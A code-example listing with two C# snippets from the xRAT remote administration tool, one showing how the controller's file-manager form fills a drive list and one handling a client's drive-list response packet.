Пример #1
0
 public void AddDrives(RemoteDrive[] drives)
 {
     try
     {
         cmbDrives.Invoke((MethodInvoker) delegate
         {
             cmbDrives.DisplayMember = "DisplayName";
             cmbDrives.ValueMember = "RootDirectory";
             cmbDrives.DataSource = new BindingSource(drives, null);
         });
     }
     catch (InvalidOperationException)
     {
     }
     catch (Exception ex)
     {
         MessageBox.Show(
             string.Format(
                 "An unexpected error occurred: {0}\n\nPlease report this as fast as possible here:\\https://github.com/MaxXor/xRAT/issues",
                 ex.Message), "", MessageBoxButtons.OK, MessageBoxIcon.Error);
     }
 }
Пример #2
0
        public static void HandleGetDrivesResponse(Client client, GetDrivesResponse packet)
        {
            if (client.Value == null || client.Value.FrmFm == null || packet.DriveDisplayName == null || packet.RootDirectory == null)
                return;

            if (packet.DriveDisplayName.Length != packet.RootDirectory.Length) return;

            RemoteDrive[] drives = new RemoteDrive[packet.DriveDisplayName.Length];
            for (int i = 0; i < packet.DriveDisplayName.Length; i++)
            {
                drives[i] = new RemoteDrive(packet.DriveDisplayName[i], packet.RootDirectory[i]);
            }

            if (client.Value != null && client.Value.FrmFm != null)
            {
                client.Value.FrmFm.AddDrives(drives);
                client.Value.FrmFm.SetStatus("Ready");
            }
        }